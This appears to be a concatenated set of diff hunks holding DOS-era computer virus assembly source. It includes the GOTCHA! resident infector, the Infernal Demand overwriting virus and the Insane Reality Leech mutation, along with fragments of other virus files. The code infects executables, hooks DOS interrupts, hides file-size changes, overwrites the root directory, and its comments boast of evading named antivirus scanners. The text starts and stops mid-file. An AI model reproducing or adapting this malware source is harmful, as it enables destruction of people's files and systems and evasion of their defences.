call sub_3
jc loc_23 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,data_2e
mov cx,20h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_23::
jmp loc_18
sub_2 endp
data_17 dw 0 ; Data table (indexed access)
data_18 dw 0 ; Data table (indexed access)
data_19 dw 0 ; Data table (indexed access)
data_20 dw 0 ; Data table (indexed access)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov ah,40h ; '@'
mov dx,103h
mov cx,3C3h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jc loc_24 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_24 ; Jump if carry Set
clc ; Clear carry flag
retn
loc_24::
stc ; Set carry flag
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
push bx
push cx
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,4
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push si
push cx
mov si,dx
mov cx,128h
locloop_25::
cmp byte ptr [si],2Eh ; '.'
je loc_26 ; Jump if equal
inc si
loop locloop_25 ; Loop if cx > 0
loc_26::
cmp word ptr [si-2],544Fh
jne loc_27 ; Jump if not equal
cmp word ptr [si-4],5250h
je loc_30 ; Jump if equal
loc_27::
cmp word ptr [si-2],4E41h
jne loc_28 ; Jump if not equal
cmp word ptr [si-4],4353h
je loc_30 ; Jump if equal
loc_28::
cmp word ptr [si-2],2041h
jne loc_29 ; Jump if not equal
cmp word ptr [si-4],454Ch
je loc_30 ; Jump if equal
loc_29::
pop cx
pop si
clc ; Clear carry flag
retn
loc_30::
pop cx
pop si
stc ; Set carry flag
retn
sub_5 endp
data_21 dw 0
data_22 dw 0
data_23 db 0E9h
data_24 dw 9090h
data_25 dw 0CD90h ; Data table (indexed access)
data_26 dw 20h
data_27 dw 0
db 0, 0
data_29 dw 0
db 0, 0, 0, 0
data_30 dw 0
data_31 dw 0
db 0, 0
data_32 dw 0
data_33 dw 0 ; Data table (indexed access)
db 15 dup (0)
copyright db '(c) 1992 by Igor Ratzkopf - All '
db 'Rights Reserved July R'
seg_a ends
end start
@@ -0,0 +1,92 @@
start segment
assume cs:start,ds:start
boot equ 1000h
push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call cim
cim: pop bx
mov si,5aa5h
mov di,55aah
push cs
pop es
ujra: add bx,1000
cmp bx,1000
jnc kilep1
jmp kilep
kilep1: push bx
mov ax,201h
mov dx,0
mov cx,1
int 13h
pop bx
jnc tovabb
cmp ah,6
jz kilep1
jmp kilep
tovabb: cmp si,0a55ah
jz kilep
mov ax,cs
add ax,1000h
push bx
push ax
int 12h
mov bx,64
mul bx
sub ax,1000h
mov bx,ax
pop ax
cmp bx,ax
jnc oke1
pop bx
jmp kilep
oke1: pop bx
oke: mov es,ax
mov ax,cs:[bx+18h]
mov cx,cs:[bx+1ah]
mul cx
mov cx,ax
mov ax,cs:[bx+13h]
mov dx,0
div cx
sub bx,1000
push bx
mov ch,al
mov cl,1
mov bx,100h
mov dx,0
mov ax,208h
int 13h
pop bx
jc kilep
push bx
mov bx,100h
mov ax,es:[bx]
cmp ax,2452h
pop bx
jnz kilep
mov ax,bx
add ax,offset kilep-offset cim
push cs
push ax
mov ax,10ah
push es
push ax
retf
kilep: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
cime: dw 0
start ends
end
+571
View File
@@ -0,0 +1,571 @@
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ signend - signature
FILELEN equ end - begin
RESPAR equ (FILELEN/16) + 17
VERSION equ 9
BUFLEN equ 20h
COMSIGN equ 0
EXESIGN equ 1
MINTARGET equ 1000
MAXTARGET equ -FILELEN
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: xor bx,bx
call install
int 20
;****************************************************************************
;* Data
;****************************************************************************
buffer db BUFLEN dup (?)
oi21 dw ?,?
oldlen dw ?,?
nameptr dw ?,?
handle dw ?
comexe db ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE'
COM_txt db 'COM'
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax,0DADAh ;install-check ?
je do_DADA
push dx
push cx
push bx
push ax
push si
push di
push ds
push es
cmp ax,6C00h ;open/create 4.00 ?
je do_6C00
cmp ah,56h ;rename ?
je doit
cmp ah,4Eh ;findfirst ?
je doit ;(only works without wildcards)
cmp ah,4Bh ;load / execute ?
je doit
cmp ah,43h ;attributes
je doit
cmp ah,41h ;delete ?
je doit ;(it might be un-deleted!)
cmp ah,3Dh ;open ?
je do_3D
cmp ah,17h ;FCB-rename?
je doFCB
cmp ah,13h ;FCB-delete?
jne exit
doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
doit: call infect
exit: pop es
pop ds
pop di
pop si
pop ax
pop bx
pop cx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_3D: test al,03h ;only if opened for READING
jne exit
jmp short doit
do_6C00: test bl,03h ;idem
jne exit
mov dx,di ;ptr was DS:DI
jmp short doit
do_DADA: mov ax,0A500h+VERSION ;return a signature
popf
iret
;****************************************************************************
;* Old Interupt handler 21
;****************************************************************************
org21: pushf
call dword ptr cs:[oi21] ;call to old int-handler
ret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov cs:[nameptr],dx ;save the ptr to the filename
mov cs:[nameptr+2],ds
mov ah,62h ;get segment-adres of PSP
int 21
mov ds,bx ;get seg-adres of environment
mov ax,ds:002Ch
mov ds,ax
mov si,0
envloop: cmp ds:[si],byte ptr 0 ;end of environment?
je verder7
push cs
pop es
mov di,offset envstring
mov bx,0
scloop: mov al,ds:[si] ;check the current env-item
cmpsb
je scv1
inc bx ;characters don't match!
scv1: cmp al,0 ;end of env-item?
jne scloop
cmp bx,0 ;did all characters match?
je return
jmp short envloop
verder7: push cs ;check the filename
pop ds
les di,dword ptr [nameptr]
mov dx,di
mov cx,80 ;search end of filename (-EXT)
mov al,'.'
repnz scasb
mov bx,di
std ;find begin of filename
mov cl,11
mov al,'\'
repnz scasb
cld
je vvv
mov di,dx
jmp short vvv2
vvv: add di,2
vvv2: mov al,'V' ;is it V*.* ?
scasb
je return
mov cl,7 ;is it *AN*.* ?
mov ax,'NA'
ANloop: dec di
scasw
loopnz ANloop
je return
mov si,offset EXE_txt ;is extension 'EXE'?
mov di,bx
mov cx,3
rep cmpsb
jnz verder4
mov byte ptr [comexe],EXESIGN
jmp short verder3
return: ret
verder4: mov si,offset COM_txt ;is extension 'COM'?
mov di,bx
mov cx,3
rep cmpsb
jnz return
mov byte ptr [comexe],COMSIGN
verder3: mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;get file-attribute
mov ax,4300h
call org21
push cx
and cx,0F8h ;clear READ-ONLY-flag
call setattr
jc return1_v
push cs ;open the file
pop ds
lds dx,dword ptr [nameptr]
mov ax,3D02h
int 21
jnc verder2
return1_v: jmp return1 ;something went wrong... :-(
verder2: push cs ;save handle
pop ds
mov [handle],ax
mov bx,[handle] ;get file date & time
mov ax,5700h
int 21
push cx
push dx
call endptr ;get file-length
mov [oldlen],ax
mov [oldlen+2],dx
sub ax,SIGNLEN ;move ptr to end - SIGNLEN
sbb dx,0
mov cx,dx
mov dx,ax
mov al,00h
call ptrmov
mov cx,SIGNLEN ;read the last bytes
mov dx,offset buffer
call flread
jc return2_v
push cs ;compare bytes with signature
pop es
mov di,offset buffer
mov si,offset signature
mov cx,SIGNLEN
rep cmpsb
jz return2_v
call beginptr ;read begin of file
mov cx,BUFLEN
mov dx,offset buffer
call flread
cmp byte ptr [comexe],EXESIGN
jz do_exe
do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file
jnb return2
cmp word ptr [oldlen],MINTARGET
jbe return2
call writeprog ;write program to end of file
jc return2
mov ax,[oldlen] ;calculate new start-adres
add ax,(offset entry - 0103h)
mov byte ptr [buffer],0E9h ;'JMP'
mov word ptr [buffer+1],ax
jmp short verder1
return2_v: jmp short return2
do_exe: call writeprog ;write program to end of file
jc return2
mov ax,[oldlen] ;calculate new length
mov dx,[oldlen+2]
add ax,FILELEN
adc dx,0
mov cl,9 ;put new length in header
shr ax,cl
mov cl,7
shl dx,cl
or ax,dx
inc ax
mov word ptr [buffer+4],ax
mov ax,[oldlen]
add ax,FILELEN
and ax,01FFh
mov word ptr [buffer+2],ax
mov ax,[oldlen] ;calculate new CS & IP
mov dx,[oldlen+2]
mov bx,word ptr [buffer+8]
push ax
mov cl,4
shr ax,cl
mov cl,0Ch
shl dx,cl
add ax,dx
sub ax,bx
mov word ptr [buffer+16h],ax ;put CS in header
pop ax
and ax,000Fh
add ax,(offset entry - 0100h)
mov word ptr [buffer+14h],ax ;put IP in header
verder1: call beginptr ;write new begin of file
mov cx,BUFLEN
mov dx,offset buffer
call flwrite
return2: mov bx,[handle] ;restore file date & time
pop dx
pop cx
mov ax,5701h
int 21
mov bx,[handle] ;close the file
mov ah,3Eh
int 21
return1: pop cx ;restore file-attribute
call setattr
pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
ret
;****************************************************************************
;* Gets ASCIIZ-filename from FCB
;****************************************************************************
FCBtoASC: mov si,dx
lodsb
inc al ;extended FCB?
jne normal_FCB
add si,7
normal_FCB: push cs
pop es
xor di,di ;adres for ASCIIZ-name
mov dx,di
mov cx,8
FCB_loop: lodsb ;copy all except spaces
cmp al,' '
je FCB_verder
stosb
FCB_verder: loop FCB_loop
mov al,'.' ;append a '.'
stosb
mov cl,3 ;and the extension
rep movsb
xchg ax,cx ;and a final zero.
stosb
push es
pop ds
ret
;****************************************************************************
;* Changes file-attributes
;****************************************************************************
setattr: lds dx,dword ptr cs:[nameptr]
mov ax,4301h
call org21
ret
;****************************************************************************
;* Writes program to end of file
;****************************************************************************
writeprog: call endptr
mov cx,FILELEN
mov dx,offset begin
; call flwrite ;Hmm, save a few bytes!
; ret
;****************************************************************************
;* Subroutines for reading/writing
;****************************************************************************
flwrite: mov ah,40h
jmp short flvrdr
flread: mov ah,3Fh
flvrdr: push cs
pop ds
mov bx,cs:[handle]
int 21
ret
;****************************************************************************
;* Subroutines for file-pointer
;****************************************************************************
beginptr: mov al,00h ;go to begin of file
jmp short ptrvrdr
endptr: mov al,02h ;go to end of file
ptrvrdr: xor cx,cx
xor dx,dx
ptrmov: mov bx,cs:[handle] ;go somewhere
mov ah,42h
int 21
ret
;****************************************************************************
;* This is where infected files start
;****************************************************************************
entry: call entry2
entry2: pop bx
sub bx,offset entry2 ;CS:BX is begin program - 100h
pushf
cld
cmp byte ptr cs:[bx+offset comexe],COMSIGN
jz entryC
entryE: mov ax,ds ;put old start-adres on stack
add ax,10
add ax,cs:[bx+offset buffer+016h]
push ax
push cs:[bx+offset buffer+014h]
jmp short entcheck
entryC: mov ax,bx ;restore old file-begin
add ax,offset buffer
mov si,ax
mov di,0100
mov cx,BUFLEN
rep movsb
push cs ;put old start-adres on stack
mov ax,0100h
push ax
entcheck: mov ax,0DADAh ;already installed?
int 21h
cmp ah,0A5h
je entstop
call install ;install the program
entstop: iret
;****************************************************************************
;* Install the program at top of memory
;****************************************************************************
install: push ds
push es
xor ax,ax ;get original int21 vector
mov es,ax
mov cx,word ptr es:0084h
mov dx,word ptr es:0086h
mov cs:[bx+offset oi21],cx
mov cs:[bx+offset oi21+2],dx
mov ax,ds ;adjust memory-size
dec ax
mov es,ax
cmp byte ptr es:[0000h],5Ah
jnz cancel
mov ax,es:[0003h]
sub ax,RESPAR
jb cancel
mov es:[0003h],ax
sub es:[0012h], word ptr RESPAR
push cs ;copy program to top
pop ds
mov es,es:[0012h]
mov ax,bx
add ax,0100
mov si,ax
mov di,0100h
mov cx,FILELEN
rep movsb
mov dx,offset ni21 ;set vector to new handler
push es
pop ds
mov ax,2521h
int 21h
cancel: pop es
pop ds
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
envstring: db 'E=mcý',0 ;put this in your environment!
signature: db 'GOTCHA!',0 ;I have got you! :-)
signend:
end:
cseg ends
end begin

@@ -0,0 +1,164 @@
; VirusName: Infernal Demand
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 10/08/1993
;
;
; This is our (Metal Militia's) very first scratch virus. It's just
; an overwriting one. It overwrites the first 999 bytes in exe/com
; files. (Write protected/hidden files are also "infected"). This (999)
; isn't really the virus size, but the virus, is set to overwrite the
; first 999 bytes. If the programs are less then 999 bytes, the virus
; will overwrite it anyhow.
;
; When you starts this, the virus will make a file under your c:\
; which is called "Infernal.ir". The file includes a rather nice
; "poem" written by the person sitting behind the keys here..
;
; The "infected" files attributes (time/day), will be saved
; and restored, the file-size will not be hidden, but anyway..
;
; It doesn't contain any encryption nor nuking routine, but
; who cares about that for an overwriting virus?
;
; F-prot finds this is some trivial-shit, but it ain't!
; Mcafee scan v108 and S&S Toolkit's FindViru can't find this
;
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; INFERNAL DEMAND
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public
assume cs:cseg, ds:cseg
org 100h
INFERNAL proc far
start:
mov ah,19h ; get current drive
int 21h ;
push ax ;
mov ah,0Eh ;
mov dl,02h ; drive C:
int 21h
great:
mov dx,offset ExeMask ; offset 'EXEMASK'
mov ah,4Eh ; find first
int 21h ;
jnc go_for_it ; jmp if no ERROR
mov dx,offset ComMask ; offset 'COMMASK'
mov ah,4Eh ; find first
;
again: ;
int 21h ;
jc chdir ; If ERROR change directory
go_for_it:
mov ax,4300h ; Get attribute of file
mov dx,9eh ; Pointer to name in DTA
int 21h ;
push cx ; Push the attrib to stack
mov ax,4301h ; Set attribute to
xor cx,cx ; normal
int 21h ;
mov ax,3D02h ; Open file
mov dx,9eh ; Pointer to name in DTA
int 21h
jc next ; if error, get next file
xchg ax,bx ; Swap AX & BX
; so the filehandle ends up
; in BX
mov ax,5700h ; Get file date
int 21h ;
push cx ; Save file dates
push dx ;
mov dx,100h ; Write code from 100h
mov ah,40h ; to target file.
mov cx,789 ; Write XXX bytes
int 21h ;
pop dx ; Get the saved
pop cx ; filedates from the stack
mov ax,5701h ; Set them back to the file
int 21h ;
mov ah,3Eh ; Close the file
int 21h ;
pop cx ; Restore the attribs from
; the stack.
mov dx,9eh ; Pointer to name in DTA
mov ax,4301h ; Set them attributes back
int 21h ;
next:
mov ah,4Fh ; now get the next file
jmp short again ; and do it all over again
chdir:
mov ah,3ch
mov cx,0
mov dx,offset makeit
int 21h
xchg ax,bx
mov ah,40h
mov cx,meslen
mov dx,offset note
int 21h
mov ah,3eh
int 21h
mov dx,offset updir ; offset 'updir'
mov ah,3bh ; change directory
int 21h
jnc great ; jmp to great if no ERROR
exit:
pop dx ;
mov ah,0Eh ; restore org. drive
int 21h ;
retn ; return to PROMPT
ExeMask db '*.EXE',0
ComMask db '*.COM',0
Makeit db 'c:\infernal.ir',0
UpDir db '..',0
Note db 'Infernal Demand! '
db '(c) Metal Militia / Immortal Riot '
Dumpnote db ' ',0dh,0ah
db 'Your misery is our pleasure! ',0dh,0ah
db 'Your nightmare is our dream! ',0dh,0ah
db 'Your hell is our paradise! ',0dh,0ah
db 'Your lost is our demand! ',0dh,0ah
db 'Your cry is our laugh! ',0dh,0ah
db 'And your fate is ours!',0dh,0ah
Meslen equ $-note
INFERNAL endp
cseg ends
end start
@@ -0,0 +1,601 @@
; VirusName : Insane Reality
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 22/09/1993
;
;
; This is a mutation of the Leech virus, and well,
; havn't really changed much in this code, just
; fooled Mcafee's Scan and Dr Alans Toolkit..
;
; Okey, this might not be the very best mutation born,
; but think in this way, if this mutation is so bad
; then aren't the anti-virus products even worse ?
;
; The original virus was pretty "OK", it is a non-over-
; writing resident .COM. It will infect the program
; after you have started it. It will not infect renamed
; exe files. (..It looks at the victim's fileheader..)
;
; When the virus is in memory a infected files attributes
; (..size/date/time..) will not be discovored. If you boot
; your computer, and throw the virus out from memory,
; you'll see that the file has been changed. If an
; infected file is being run again, the virus will
; replace the infected file with its old file-attributes.
;
; This virus was originally written in Bulgaria..
; (..where else..) and I would like to thank the
; scratch coder of this little babe very much...
;
; Really hope this file will annoy some folks around,
; cuz it certainly annoyed me!..<no more comments>...
;
; Mcafee's Scan v108 can't find this, and neither can
; S&S Toolkit 6.54. Havn't tried with Tbscan/F-prot,
; but they will probably identify this as the leech virus.
;
; Beware of the Insane Reality we're living in!
; Signed The Unforgiven / Immortal Riot
.model tiny
.code
org 0
; ÄÄ---Ä-ÄÄÄÄÄ--Ä-ÄÄÄÄÄ--ÄÄÄÄ-Ä-ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄ-ÄÄ-
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m Insane.asm, then link
; and use exe2bin for make this into a .com..
; Ä-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄ-
virlength = (readbuffer - leech)
reslength = (((encrypted_file - leech + 15) / 16) + 2)
leech:
jmp short enter_leech
filesize dw offset carrier
oldint21 dw 0, 0
oldint13 dw 0, 0
oldint24 dw 0, 0
datestore dw 0
timestore dw 0
runningflag db 1
evenodd dw 0
enter_leech:
call next
next:
pop si
db 0 ; Scan-fooler..
mutatearea1:
cli ; prevent all interupts
push ds ; Why?
pop es
mov bp,sp ; save sp
mov sp,si ; sp = offset next
add sp,encrypt_value1 - 1 - next
mutatearea2:
mov cx,ss ; save ss
mov ax,cs
mov ss,ax ; ss = PSP
pop bx ; get encryption value
dec sp
dec sp
add si,startencrypt - next
nop
decrypt:
mutatearea3:
pop ax
xor al,bh ; decrypt away!
push ax
dec sp
cmp sp,si
jae decrypt
startencrypt:
mov ax,es
dec ax
mov ds,ax ; ds->MCB
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
dw 0 - reslength
mov bx,ds:[3] ; bx = memory size
mov byte ptr ds:[0],'Z' ; mark end of chain
inc ax ; ax->PSP
inc bx
add bx,ax ; bx->high area
mov es,bx ; as does es
mov ss,cx ; restore ss
add si,leech - startencrypt
mov bx,ds ; save MCB segment
mov ds,ax
mov sp,bp ; restore sp
push si
xor di,di
mov cx,virlength ; 1024 bytes
cld
rep movsb
pop si
push bx
mov bx,offset highentry
push es
push bx
retf ; jmp to highentry in
; high memory
highentry:
mov es,ax ; es->PSP
mov ax,cs:filesize
add ax,100h ; find stored area
mov di,si
mov si,ax
mov cx,virlength
rep movsb ; and restore over virus code
pop es ; MCB
xor ax,ax
mov ds,ax ; ds -> interrupt table
sti
cmp word ptr ds:21h*4,offset int21 ; already resident?
jne go_resident
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
dw 0 - reslength ;alter memory size
test byte ptr ds:[46Ch],0E7h ;1.17% chance of activation
jnz exit_virus
push cs
pop ds
mov si,offset message ; "Insane Reality.."
display_loop: ; display ASCIIZ string
lodsb ; get next character
or al,0 ; exit if 0
jz exit_display_loop
mov ah,0Eh ; otherwise write character
int 10h
jmp short display_loop
exit_display_loop:
mov ah,32h ; Get DPB -> DS:BX
xor dl,dl
int 21h
jc exit_virus ; exit on error
call getint13and24
call setint13and24
mov dx,[bx+10h] ; first sector of root
; directory
; BUG: won't work in DOS 4+
mov ah,19h ; default drive -> al
int 21h
mov cx,2 ; Overwrite root directory
int 26h ; Direct write..
pop bx
call setint13and24 ; restore int handlers
exit_virus:
jmp returnCOM
go_resident:
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
dw 0 - reslength ;alter top of memory in PSP
mov bx,ds:46Ch ;BX = random #
push ds
push cs
pop ds
push cs
pop es
mov runningflag,1 ; reset flag
and bh,80h
mov nothing1,bh
mutate1:
test bl,1
jnz mutate2
mov si,offset mutatearea1
add si,evenodd
lodsb
xchg al,[si] ; swap instructions
mov [si-1],al
mutate2:
test bl,2
jnz mutate3
mov si,offset mutatearea2
add si,evenodd
lodsw
xchg ax,[si] ; swap instructions
mov [si-2],ax
mutate3:
test bl,4
jnz mutate4
mov si,offset mutatearea3
mov al,2
xor [si],al ; flip between ax & dx
xor [si+2],al
xor [si+3],al
mutate4:
test bl,8
jnz findint21
mov si,offset next
mov di,offset readbuffer
mov cx,offset enter_leech
push si
push di
lodsb
cmp al,5Eh ; 1 byte pop si?
je now_single_byte_encode
inc si ; skip second byte of two
; byte encoding of pop si
now_single_byte_encode:
push cx
rep movsb
pop cx
pop si
pop di
cmp al,5Eh ; 1 byte pop si?
je encode_two_bytes ; then change to 2
mov al,5Eh ; encode a pop si
stosb
rep movsb ; then copy decrypt over
mov al,90h ; plus a nop to keep virus
stosb ; length constant
xor ax,ax ; clear the flag
jmp short set_evenodd_flag
encode_two_bytes:
mov ax,0C68Fh ; encode a two byte form of
stosw ; pop si
rep movsb
mov ax,1 ; set evenodd flag
set_evenodd_flag:
mov cs:evenodd,ax
findint21:
mov ah,30h ; Get DOS version
int 21h
cmp ax,1E03h ; DOS 3.30?
jne notDOS33
mov ah,34h ; Get DOS critical error ptr
int 21h
mov bx,1460h ; int 21h starts here
jmp short alterint21
notDOS33:
mov ax,3521h ;just get current int 21 handler
int 21h
alterint21:
mov oldint21,bx
mov word ptr ds:oldint21+2,es
mov si,21h*4 ; save old int 21 handler
pop ds ; found in interrupt table
push si
push cs
pop es
mov di,offset topint21
movsw
movsw
pop di ; and put new one in
push ds
pop es
mov ax,offset int21
stosw
mov ax,cs
stosw
mov di,offset startencrypt
mov al,cs:encrypt_value1 ; decrypt original
decryptcode: ; program code
xor cs:[di],al
inc di
cmp di,offset decryptcode
jb decryptcode
returnCOM:
mov ah,62h ; Get current PSP
int 21h
push bx ; restore segment registers
mov ds,bx
mov es,bx
mov ax,100h
push ax
retf ; Return to PSP:100h
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx ; go to start of file
call movefilepointer
mov dx,offset readbuffer ; and read 3 bytes
mov ah,3Fh
mov cx,3
call callint21
jc exiterror
xor di,di
mov ax,readbuffer
mov cx,word ptr ds:[0]
cmp cx,ax ; check if already infected
je go_exitinfect
cmp al,0EBh ; jmp short?
jne checkifJMP
mov al,ah
xor ah,ah
add ax,2
mov di,ax ; di = jmp location
checkifJMP:
cmp al,0E9h ; jmp?
jne checkifEXE ; nope
mov ax,word ptr readbuffer+1
add ax,3
mov di,ax ; di = jmp location
xor ax,ax
checkifEXE:
cmp ax,'MZ'
je exiterror
cmp ax,'ZM'
jne continue_infect
exiterror:
stc
go_exitinfect:
jmp short exitinfect
nop
continue_infect:
mov dx,di
push cx
call movefilepointer ; go to jmp location
mov dx,virlength ; and read 1024 more bytes
mov ah,3Fh
mov cx,dx
call callint21
pop cx
jc exiterror
cmp readbuffer,cx
je go_exitinfect
mov ax,di
sub ah,0FCh
cmp ax,filesize
jae exiterror
mov dx,filesize
call movefilepointer
mov dx,virlength ; write virus to middle
mov cx,dx ; of file
mov ah,40h
call callint21
jc exitinfect
mov dx,di
call movefilepointer
push cs
pop es
mov di,offset readbuffer
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,offset encrypt_value2
mov al,encrypted_file
encryptfile: ; encrypt infected file
xor [si],al
inc si
cmp si,7FFh
jb encryptfile
pop cx
pop dx
mov ah,40h ; and write it to end of file
call callint21
exitinfect:
pop di
pop es
pop ds
pop si
retn
int21:
cmp ax,4B00h ; Execute?
je execute
cmp ah,3Eh ; Close?
je handleclose
cmp ah,11h ; Find first?
je findfirstnext
cmp ah,12h ; Find next?
je findfirstnext
exitint21:
db 0EAh ; jmp far ptr
topint21 dw 0, 0
findfirstnext:
push si
mov si,offset topint21
pushf
call dword ptr cs:[si] ; call int 21 handler
pop si
push ax
push bx
push es
mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
jne noextendedFCB
add bx,7 ; convert to normal
noextendedFCB:
mov ax,es:[bx+17h] ; Get time
and ax,1Fh ; and check infection stamp
cmp ax,1Eh
jne exitfindfirstnext
mov ax,es:[bx+1Dh]
cmp ax,virlength * 2 + 1 ; too small for infection?
jb exitfindfirstnext ; then not infected
sub ax,virlength ; alter file size
mov es:[bx+1Dh],ax
exitfindfirstnext:
pop es
pop bx
pop ax
iret
int24:
mov al,3
iret
callint21:
pushf
call dword ptr cs:oldint21
retn
movefilepointer:
xor cx,cx
mov ax,4200h
call callint21
retn
execute:
push ax
push bx
mov cs:runningflag,0
mov ax,3D00h ; open file read/only
call callint21
mov bx,ax
mov ah,3Eh ; close file
int 21h ; to trigger infection
pop bx
pop ax
go_exitint21:
jmp short exitint21
handleclose:
or cs:runningflag,0 ; virus currently active?
jnz go_exitint21
push cx
push dx
push di
push es
push ax
push bx
call getint13and24
call setint13and24
; convert handle to filename
mov ax,1220h ; get job file table entry
int 2Fh
jc handleclose_noinfect ; exit on error
mov ax,1216h ; get address of SFT
mov bl,es:[di]
xor bh,bh
int 2Fh ; es:di->file entry in SFT
mov ax,es:[di+11h]
mov cs:filesize,ax ; save file size,
mov ax,es:[di+0Dh]
and al,0F8h
mov cs:timestore,ax ; time,
mov ax,es:[di+0Fh]
mov cs:datestore,ax ; and date
cmp word ptr es:[di+29h],'MO' ; check for COM extension
jne handleclose_noinfect
cmp byte ptr es:[di+28h],'C'
jne handleclose_noinfect
cmp cs:filesize,0FA00h ; make sure not too large
jae handleclose_noinfect
mov al,20h ; alter file attribute
xchg al,es:[di+4]
mov ah,2 ; alter open mode to
xchg ah,es:[di+2] ; read/write
pop bx
push bx
push ax
call infect
pop ax
mov es:[di+4],al ; restore file attribute
mov es:[di+2],ah ; and open mode
mov cx,cs:timestore
jc infection_not_successful
or cl,1Fh ; make file infected in
and cl,0FEh ; seconds field
infection_not_successful:
mov dx,cs:datestore ; restore file time/date
mov ax,5701h
call callint21
handleclose_noinfect:
pop bx
pop ax
pop es
pop di
pop dx
pop cx
call callint21
call setint13and24
retf 2 ; exit with flags intact
getint13and24:
mov ah,13h ; Get BIOS int 13h handler
int 2Fh
mov cs:oldint13,bx
mov cs:oldint13+2,es
int 2Fh ; Restore it
mov cs:oldint24,offset int24
mov cs:oldint24+2,cs
retn
setint13and24:
push ax
push si
push ds
pushf
cli
cld
xor ax,ax
mov ds,ax ; ds->interrupt table
mov si,13h*4
lodsw
xchg ax,cs:oldint13 ; replace old int 13 handler
mov [si-2],ax ; with original BIOS handler
lodsw
xchg ax,cs:oldint13+2
mov [si-2],ax
mov si,24h*4 ; replace old int 24 handler
lodsw ; with our own handler
xchg ax,cs:oldint24
mov [si-2],ax
lodsw
xchg ax,cs:oldint24+2
mov [si-2],ax
popf
pop ds
pop si
pop ax
retn
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Okey..don't change the text to much here, cuz the virus will refuse
; to work correctly if you writes to many chars..If you wanna modify
